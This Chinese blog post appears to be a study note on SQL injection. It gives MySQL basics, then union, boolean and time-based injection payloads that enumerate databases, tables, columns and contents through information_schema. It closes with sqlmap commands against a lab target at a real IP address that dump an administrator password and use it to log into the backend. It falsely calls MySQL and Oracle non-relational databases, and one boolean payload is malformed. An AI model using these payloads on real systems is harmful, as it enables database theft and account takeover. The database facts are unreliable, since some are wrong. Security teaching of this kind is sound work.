SQL注入

SQL注入

数据库基础

*关系型数据库:
#Access

#MSSQL -- 1433

*非关系型数据库:
#MySQL -- 3306

#Oracle -- 1521等

对MySQL数据库的操作

1.显示数据库					show databases;

2.显示数据库版本			   select version();	

3.使用数据库					use XXX;

4.显示当前正在使用的数据库	    select database();

5.显示当前数据库表名			  show tables;

6.显示当前使用数据库的用户      select user();

7.查询数据库路径			   select @@datadir; 

image

什么是SQL注入?

(1) SQL注入的概念

SQL注入是在用户请求输入时, 由于后端代码没有对用户输入的字符串进行过滤、转义、限制或处理不严谨等, 导致用户可以通过输入恶意字符串改变原有的SQL查询语句, 从而泄露信息。
image

(2) SQL注入示例

举例:
正常参数传递 http://www.xxx.com/student.php?id=1

恶意构造:
select * from students_info where id = 1;
	#SQL注入 http://www.xxx.com/student.php?id=1 union select * from students_info;
此时所执行的SQL语句为:
	#select * from students_info where id = 1 union select * from students_info

联合注入

(一) 检查注入点

一: 数字型
	?id =1	(正常)
	?id =-1 (无内容)
	?id =1' (错误)

二: 字符型
	?id =1' and '1' =' 1	(正常)
	?id =1' and '1' =' 2	(无内容)
	
三: 总结
	字符型的注入需要从两个引号中逃逸来构造注入语句, 否则语句中的引号只会以字符串的形式导入数据库, 而不会执行。

(二) 查询当前数据库段数

利用ORDER BY 语句来测试当前数据库的段数, 以字符型为例。

测试内容:
	?id=1' order by 1--+-   (正常显示)
	?id=1' order by 2--+-   (正常显示)
	?id=1' order by n--+-   (正常显示)
	?id=1' order by n+1--+- (报错或无显示)
*通过以上结果判断, 该数据库的段数为n个。

(三) UNION泄露信息

(1) 获取信息泄露位置:
	?id=-1' union select 1,2,3,...,n--+-

(2) 泄露当前数据库信息:
	1.泄露数据库的语句如下:
		?id=-1' union select 1,database(),3,...,n--+-
	2.泄露版本的语句如下:
		?id=-1' union select 1,version(),3,...,n--+-
	3.泄露用户的语句如下:
		?id=-1' union select 1,user(),3,...,n--+-
(3) 泄露当前数据库下所有表名:
	?id=-1' union select 1,group_concat(table_name),3,...,n from information_schema.tables where table_schema=database()--+-
	
(4) 泄露当前数据库下某表中所有列名:
	?id=-1' union select 1,group_concat(column_name),3,...,n from information_schema.columns where table_name='表名' and table_schema=database()--+-
	
(5) 泄露当前数据库某表下对应列的内容
	?id=-1' union select 1,group_concat(列名1, 列名2, 列名3),3 from '表名' --+-

布尔注入

(一) 布尔注入的概念

布尔注入是利用or拼接两个查询语句, 当前者或者后者有一个能够返回结果时, 就可以返回结果。 因此可以控制使得第一个语句永远不成立, 当后面的语句成立时, 页面会返回结果。

适用场景:
union被拉入用户输入内容的黑名单中。

当一个页面, 存在注入, 没有显示位, 没有输出SQL语句执行错误信息, 只能通过页面返回正常不正常进行判断进行SQL注入。

(二) 获取库名

?id=-1' or length(database())>7--+-

?id=-1' or ord(mid(database(),1,1))>100--+-

当前数据库名的第一个字符

(三) 获取表名

?id=-1' or (select ORD(mid(GROUP_CONCAT(TABLE_NAME),1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100--+-

(四) 获取列名

第一种写法: ?id=-1' or (select ord(mid(group_concat(column_name),1,1)) from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1)>100--+-

第二种写法:
?id=-1' or ord(mid((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1))>100--+-

(五) 获取内容

?id=-1' or ord(mid(select group_concat(id) from emails,1,1))>40--+-

emails表id列第一个字符的ASCII码

时间注入

(一) 时间注入的概念

通过注入特定语句, 根据对页面请求的反馈, 来判断是否注入成功, 如: 在SQL语句中使用sleep()函数看加载网页的时间来判断注入点。

适用场景:
不管怎样变换参数, 都无法从显示页面上获取执行结果, 甚至连注入语句是否执行都无从得知。

(二) 获取库名

?id=-1' or sleep(if((select length(database()))>7,5,0))--+-

*判断数据库库名长度是否大于7

工具sqlmap的使用, 将介绍一个实例

靶场地址:http://140.143.147.109:32826/
第一步测试注入点,通过对比两个url的回显结果
http://140.143.147.109:32826/post.php?p_id=1
image
http://140.143.147.109:32826/post.php?p_id=1’
image
得到注入点后, 便使用sqlmap来爆破

第一步爆破数据库名, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 --dbs

image

#数据库名为cms
第二步爆破表名, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 -D cms --tables

image

#表名为admin_cms
第三步爆破出字段, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 -D cms -T admin_cms --columns

image

字段有id, password
最后爆破出字段password的值, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 -D cms -T admin_cms -C password --dump

image

成功得到密码, 猜测账户为admin, 成功进入后台
image

posted @ 2024-05-19 22:55  Tlomlyiyi  阅读(14)  评论(0编辑  收藏  举报